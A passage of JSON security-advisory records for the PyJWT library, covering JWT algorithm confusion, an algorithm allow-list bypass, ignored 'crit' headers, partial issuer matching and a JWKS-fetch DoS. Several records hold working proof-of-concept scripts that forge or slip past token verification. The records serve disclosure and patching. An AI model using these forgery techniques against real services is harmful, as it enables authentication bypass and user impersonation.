boundary.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:28:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4","https://nvd.nist.gov/vuln/detail/CVE-2026-48522","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml","https://github.com/advisories/GHSA-993g-76c3-p5m4"],"source_kind":"github","identifiers":["GHSA-993g-76c3-p5m4","CVE-2026-48522"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-06-16T12:00:09.980Z","epss_percentage":0.00034,"epss_percentile":0.10252,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","url":"https://github.com/advisories/GHSA-xgmm-8j9v-c9wx","title":"PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed","description":"\u003e [!NOTE]\n\u003e Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.   \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n  \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n  def prepare_key(self, key: str | bytes) -\u003e bytes:\n        key_bytes = force_bytes(key)\n\n        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}')\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader  = b64u(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}')\npayload = b64u(b'{\"sub\":\"alice\",\"admin\":true}')\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”\nsig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -\u003e b'{\"sub\":\"alice\",\"admin\":true}'\n```\n\n\n### Impact\nUnauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T19:28:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx","https://nvd.nist.gov/vuln/detail/CVE-2026-48526","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml","https://github.com/advisories/GHSA-xgmm-8j9v-c9wx"],"source_kind":"github","identifiers":["GHSA-xgmm-8j9v-c9wx","CVE-2026-48526"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-06-16T12:00:09.980Z","epss_percentage":0.00017,"epss_percentile":0.04147,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","url":"https://github.com/advisories/GHSA-jq35-7prp-9v3f","title":"PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys","description":"\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented `PyJWKClient.get_signing_key_from_jwt(...)` flow.\n\n### Summary\n\nPyJWT's `PyJWK` verification path allows a verifier-side algorithm allow-list bypass.\n\nIn affected versions, when a JWT is decoded with a `PyJWK` object, PyJWT verifies that the header `alg` string is present in the caller's `algorithms=[...]` list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the `PyJWK` object.\n\nThis lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented `PyJWKClient` usage flow and does not require any non-default flags or unsafe configuration.\n\n### Details\n\nIn `jwt/api_jws.py` in `2.12.1`, `_verify_signature()` treats `PyJWK` keys differently from normal PEM/public-key inputs:\n\n```python\nif algorithms is None and isinstance(key, PyJWK):\n    algorithms = [key.algorithm_name]\n\n...\n\nif not alg or (algorithms is not None and alg not in algorithms):\n    raise InvalidAlgorithmError(\"The specified alg value is not allowed\")\n\nif isinstance(key, PyJWK):\n    alg_obj = key.Algorithm\n    prepared_key = key.key\nelse:\n    alg_obj = self.get_algorithm_by_name(alg)\n    prepared_key = alg_obj.prepare_key(key)\n```\n\nThis logic means:\n\n1. The JWT header `alg` is checked only as a string against the caller-supplied allow-list.\n2. If the key is a `PyJWK`, the actual verifier is not selected from the header algorithm.\n3. Instead, PyJWT always verifies with `key.Algorithm`, which is fixed when the `PyJWK` object is created.\n\n`PyJWK` binds its algorithm in `jwt/api_jwk.py` from the JWK's `alg` field or from key-type defaults:\n\n```python\nif not algorithm and isinstance(self._jwk_data, dict):\n    algorithm = self._jwk_data.get(\"alg\", None)\n\n...\n\nself.algorithm_name = algorithm\nself.Algorithm = get_default_algorithms()[algorithm]\nself.key = self.Algorithm.from_jwk(self._jwk_data)\n```\n\nSo once a `PyJWK` is constructed, the verifier uses the `PyJWK`'s bound algorithm, not the JWT header algorithm.\n\nThe issue is reachable through the documented JWKS flow. In `docs/usage.rst`, the project documents:\n\n```python\nsigning_key = jwks_client.get_signing_key_from_jwt(token)\njwt.decode(\n    token,\n    signing_key,\n    audience=\"https://expenses-api\",\n    options={\"verify_exp\": False},\n    algorithms=[\"RS256\"],\n)\n```\n\n`PyJWKClient.get_signing_key_from_jwt()` returns a `PyJWK`, so this documented path is affected.\n\nThis is not a \"no-key forgery\" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:\n\n- self-service OAuth client assertions\n- multi-tenant key registration\n- federation / BYO-JWKS trust models\n- any system where external parties sign JWTs with their own registered keys\n\nIn those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept `PS256`, an attacker controlling an accepted RSA JWK can sign with `RS256`, set `alg=PS256` in the JWT header, and still be accepted through the `PyJWK` path.\n\nThe same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to `PyJWK` verification rather than expected JWT behavior.\n\nThis behavior was introduced by commit `ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1` (`Decode with PyJWK (#886)`), which is present in tagged releases `2.9.0`, `2.10.0`, `2.10.1`, `2.11.0`, `2.12.0`, and `2.12.1`.\n\n### PoC\n\nTested locally against PyJWT `2.12.1` on Python `3.12.10` with `cryptography 45.0.6`.\n\nInstall dependencies:\n\n```bash\npython -m pip install pyjwt==2.12.1 cryptography\n```\n\nRun the following script:\n\n```python\nimport json\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\nfrom jwt.api_jwk import PyJWK\nfrom jwt.algorithms import RSAAlgorithm\nfrom jwt.utils import base64url_encode\n\n# Generate an RSA keypair controlled by the attacker.\npriv = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub = priv.public_key()\npub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\n\n# Build a PyJWK from the public key.\n# With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.\njwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))\n\n# Create a token whose protected header claims RS512.\nheader = {\"typ\": \"JWT\", \"alg\": \"RS512\"}\npayload = {\"sub\": \"alice\"}\n\nheader_b64 = base64url_encode(\n    json.dumps(header, separators=(\",\", \":\"), sort_keys=True).encode()\n)\npayload_b64 = base64url_encode(\n    json.dumps(payload, separators=(\",\", \":\")).encode()\n)\nsigning_input = b\".\".join([header_b64, payload_b64])\n\n# Sign the RS512-labelled token with RS256 instead.\nsig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)\ntoken = b\".\".join([header_b64, payload_b64, base64url_encode(sig)]).decode()\n\nprint(\"token:\", token)\nprint(\"PyJWK path:\")\nprint(jwt.decode(token, jwk, algorithms=[\"RS512\"]))\n\nprint(\"PEM path:\")\ntry:\n    print(jwt.decode(token, pub_pem, algorithms=[\"RS512\"]))\nexcept Exception as e:\n    print(f\"{type(e).__name__}: {e}\")\n```\n\nObserved output:\n\n```text\nPyJWK path:\n{'sub': 'alice'}\nPEM path:\nInvalidSignatureError: Signature verification failed\n```\n\nThe token is accepted when the verification key is a `PyJWK`, even though:\n\n- the caller restricted allowed algorithms to `[\"RS512\"]`\n- the signature was actually generated with `RS256`\n\nThe same token is rejected when verified through the normal PEM/public-key path.\n\n### Impact\n\nThis is an algorithm allow-list bypass affecting `jwt.decode()` and `jwt.decode_complete()` when the verification key is a `PyJWK`, including keys returned by `PyJWKClient`.\n\nThe impact depends on the deployment model:\n\n- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.\n- If attackers can legitimately control a registered key, this is exploitable.\n\nImpacted deployments include:\n\n- JWT client assertion flows where each client uses its own key\n- multitenant systems where tenants register JWK/JWKS material\n- federation-style trust models\n- any application that relies on `algorithms=[...]` to enforce a crypto policy against externally controlled signing keys\n\nWhat an attacker can do:\n\n- bypass a server-side requirement such as \"only `PS256`\" or \"only `RS512`\"\n- continue using a deprecated or blocked algorithm after the server thought it had disabled it\n- authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy\n\nWhat this issue does not do by itself:\n\n- it does not let an attacker forge tokens without access to a valid signing key or signing oracle\n- it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:27:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-jq35-7prp-9v3f","https://nvd.nist.gov/vuln/detail/CVE-2026-48523","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-176.yaml","https://github.com/advisories/GHSA-jq35-7prp-9v3f"],"source_kind":"github","identifiers":["GHSA-jq35-7prp-9v3f","CVE-2026-48523"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-06-16T12:00:09.981Z","epss_percentage":0.00014,"epss_percentile":0.02467,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","url":"https://github.com/advisories/GHSA-fhv5-28vv-h8m8","title":"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)","description":"\u003e [!NOTE]\n\u003e  The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.\n\n## Summary\nPyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.\n\nAdditionally, fetch_data() finally block clears the JWKS cache on network error.\n\n## Root Cause\njwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.\njwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.\n\n## Impact\n- DoS against JWKS endpoint (unlimited requests per invalid token)\n- DoS against application (network I/O latency)\n- Cascading failure (rate limiting clears cache, breaking legitimate auth)\n\n## Suggested Fix\n1. Add refresh cooldown (refuse refresh more than once per TTL period)\n2. Move cache write from finally to else block\n\n## Affected Versions\nAll versions with PyJWKClient (2.4.0 through 2.12.1)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-15T17:28:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-fhv5-28vv-h8m8","https://nvd.nist.gov/vuln/detail/CVE-2026-48524","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-177.yaml","https://github.com/advisories/GHSA-fhv5-28vv-h8m8"],"source_kind":"github","identifiers":["GHSA-fhv5-28vv-h8m8","CVE-2026-48524"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T18:00:08.064Z","updated_at":"2026-06-16T12:00:11.017Z","epss_percentage":0.00057,"epss_percentile":0.18021,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb","packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1maHY1LTI4dnYtaDhtOM4ABYrb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","url":"https://github.com/advisories/GHSA-752w-5fwx-jx9f","title":"PyJWT accepts unknown `crit` header extensions","description":"## Summary\n\nPyJWT does not validate the `crit` (Critical) Header Parameter defined in\nRFC 7515 §4.1.11. When a JWS token contains a `crit` array listing\nextensions that PyJWT does not understand, the library accepts the token\ninstead of rejecting it. This violates the **MUST** requirement in the RFC.\n\nThis is the same class of vulnerability as CVE-2025-59420 (Authlib),\nwhich received CVSS 7.5 (HIGH).\n\n---\n\n## RFC Requirement\n\nRFC 7515 §4.1.11:\n\n\u003e The \"crit\" (Critical) Header Parameter indicates that extensions to this\n\u003e specification and/or [JWA] are being used that **MUST** be understood and\n\u003e processed. [...] If any of the listed extension Header Parameters are\n\u003e **not understood and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```python\nimport jwt  # PyJWT 2.8.0\nimport hmac, hashlib, base64, json\n\n# Construct token with unknown critical extension\nheader = {\"alg\": \"HS256\", \"crit\": [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\"}\npayload = {\"sub\": \"attacker\", \"role\": \"admin\"}\n\ndef b64url(data):\n    return base64.urlsafe_b64encode(data).rstrip(b\"=\").decode()\n\nh = b64url(json.dumps(header, separators=(\",\", \":\")).encode())\np = b64url(json.dumps(payload, separators=(\",\", \":\")).encode())\nsig = b64url(hmac.new(b\"secret\", f\"{h}.{p}\".encode(), hashlib.sha256).digest())\ntoken = f\"{h}.{p}.{sig}\"\n\n# Should REJECT — x-custom-policy is not understood by PyJWT\ntry:\n    result = jwt.decode(token, \"secret\", algorithms=[\"HS256\"])\n    print(f\"ACCEPTED: {result}\")\n    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}\nexcept Exception as e:\n    print(f\"REJECTED: {e}\")\n```\n\n**Expected:** `jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy`\n**Actual:** Token accepted, payload returned.\n\n### Comparison with RFC-compliant library\n\n```python\n# jwcrypto — correctly rejects\nfrom jwcrypto import jwt as jw_jwt, jwk\nkey = jwk.JWK(kty=\"oct\", k=b64url(b\"secret\"))\njw_jwt.JWT(jwt=token, key=key, algs=[\"HS256\"])\n# raises: InvalidJWSObject('Unknown critical header: \"x-custom-policy\"')\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library deployments (e.g., API\n  gateway using jwcrypto rejects, backend using PyJWT accepts)\n- **Security policy bypass** when `crit` carries enforcement semantics\n  (MFA, token binding, scope restrictions)\n- **Token binding bypass** — RFC 7800 `cnf` (Proof-of-Possession) can be\n  silently ignored\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `jwt/api_jwt.py`, add validation in `_validate_headers()` or\n`decode()`:\n\n```python\n_SUPPORTED_CRIT = {\"b64\"}  # Add extensions PyJWT actually supports\n\ndef _validate_crit(self, headers: dict) -\u003e None:\n    crit = headers.get(\"crit\")\n    if crit is None:\n        return\n    if not isinstance(crit, list) or len(crit) == 0:\n        raise InvalidTokenError(\"crit must be a non-empty array\")\n    for ext in crit:\n        if ext not in self._SUPPORTED_CRIT:\n            raise InvalidTokenError(f\"Unsupported critical extension: {ext}\")\n        if ext not in headers:\n            raise InvalidTokenError(f\"Critical extension {ext} not in header\")\n```\n\n---\n\n## CWE\n\n- CWE-345: Insufficient Verification of Data Authenticity\n- CWE-863: Incorrect Authorization\n\n## References\n\n- [RFC 7515 §4.1.11](https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11)\n- [CVE-2025-59420 — Authlib crit bypass (CVSS 7.5)](https://osv.dev/vulnerability/GHSA-9ggr-2464-2j32)\n- [RFC 7800 — Proof-of-Possession Key Semantics](https://www.rfc-editor.org/rfc/rfc7800)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-13T20:05:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-752w-5fwx-jx9f","https://nvd.nist.gov/vuln/detail/CVE-2026-32597","https://lists.debian.org/debian-lts-announce/2026/05/msg00008.html","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-120.yaml","https://github.com/advisories/GHSA-752w-5fwx-jx9f"],"source_kind":"github","identifiers":["GHSA-752w-5fwx-jx9f","CVE-2026-32597"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-13T21:00:09.230Z","updated_at":"2026-06-09T13:01:51.120Z","epss_percentage":0.00014,"epss_percentile":0.02667,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv","packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.12.0","vulnerable_version_range":"\u003c= 2.11.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTJ3LTVmd3gtang5Zs4ABTlv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","url":"https://github.com/advisories/GHSA-75c5-xw7c-p5pm","title":"PyJWT Issuer field partial matches allowed","description":"### Summary\nThe wrong string if check is run for `iss` checking, resulting in `\"acb\"` being accepted for `\"_abc_\"`.\n\n### Details\nThis is a bug introduced in version [2.10.0](https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366): checking the \"iss\" claim\nchanged from `isinstance(issuer, list)` to `isinstance(issuer,\nSequence)`.\n\n```diff\n-        if isinstance(issuer, list):\n+        if isinstance(issuer, Sequence):\n            if payload[\"iss\"] not in issuer:\n                raise InvalidIssuerError(\"Invalid issuer\")\n        else:\n```\n\nSince str is a Sequnce, but not a list, `in` is also used for string\ncomparison. This results in `if \"abc\" not in \"__abcd__\":` being\nchecked instead of `if \"abc\" != \"__abc__\":`.\n### PoC\nCheck out the unit tests added here: https://github.com/jpadilla/pyjwt-ghsa-75c5-xw7c-p5pm\n```python\n        issuer = \"urn:expected\"\n\n        payload = {\"iss\": \"urn:\"}\n\n        token = jwt.encode(payload, \"secret\")\n\n        # decode() succeeds, even though `\"urn:\" != \"urn:expected\". No exception is raised.\n        with pytest.raises(InvalidIssuerError):\n            jwt.decode(token, \"secret\", issuer=issuer, algorithms=[\"HS256\"])\n```\n\n\n### Impact\n\nI would say the real world impact is not that high, seeing as the signature still has to match. We should still fix it.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-12-02T18:34:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-75c5-xw7c-p5pm","https://nvd.nist.gov/vuln/detail/CVE-2024-53861","https://github.com/jpadilla/pyjwt/commit/1570e708672aa9036bc772476beae8bfa48f4131#diff-6893ad4a1c5a36b8af3028db8c8bc3b62418149843fc382faf901eaab008e380R366","https://github.com/jpadilla/pyjwt/commit/33022c25525c1020869c71ce2a4109e44ae4ced1","https://github.com/advisories/GHSA-75c5-xw7c-p5pm"],"source_kind":"github","identifiers":["GHSA-75c5-xw7c-p5pm","CVE-2024-53861"],"repository_url":"https://github.com/jpadilla/pyjwt","blast_radius":9.534849581136724,"created_at":"2024-12-02T19:08:17.092Z","updated_at":"2026-06-01T17:04:42.476Z","epss_percentage":0.01019,"epss_percentile":0.77505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q","packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.10.1","vulnerable_version_range":"= 2.10.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NWM1LXh3N2MtcDVwbc4ABB_Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZnFqLTZmcXItOWgyNM4AArBb","url":"https://github.com/advisories/GHSA-ffqj-6fqr-9h24","title":"Key confusion through non-blocklisted public key formats","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n\u003e PyJWT supports multiple different JWT signing algorithms. With JWT, an \n\u003e attacker submitting the JWT token can choose the used signing algorithm.\n\u003e \n\u003e The PyJWT library requires that the application chooses what algorithms \n\u003e are supported. The application can specify \n\u003e \"jwt.algorithms.get_default_algorithms()\" to get support for all \n\u003e algorithms. They can also specify a single one of them (which is the \n\u003e usual use case if calling jwt.decode directly. However, if calling \n\u003e jwt.decode in a helper function, all algorithms might be enabled.)\n\u003e \n\u003e For example, if the user chooses \"none\" algorithm and the JWT checker \n\u003e supports that, there will be no signature checking. This is a common \n\u003e security issue with some JWT implementations.\n\u003e \n\u003e PyJWT combats this by requiring that the if the \"none\" algorithm is \n\u003e used, the key has to be empty. As the key is given by the application \n\u003e running the checker, attacker cannot force \"none\" cipher to be used.\n\u003e \n\u003e Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n\u003e not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n\u003e if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n\u003e attacker can just use the publicly known public key to sign the token \n\u003e and the checker would use the same key to verify.\n\u003e \n\u003e  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n\u003e With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n\u003e example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n     print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#        invalid_strings = [\n#            b\"-----BEGIN PUBLIC KEY-----\",\n#            b\"-----BEGIN CERTIFICATE-----\",\n#            b\"-----BEGIN RSA PUBLIC KEY-----\",\n#            b\"ssh-rsa\",\n#        ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#                if \"-----BEGIN PUBLIC\" in str_key:\n#                    return load_pem_public_key(key)\n#                if \"-----BEGIN PRIVATE\" in str_key:\n#                    return load_pem_private_key(key, password=None)\n#                if str_key[0:4] == \"ssh-\":\n#                    return 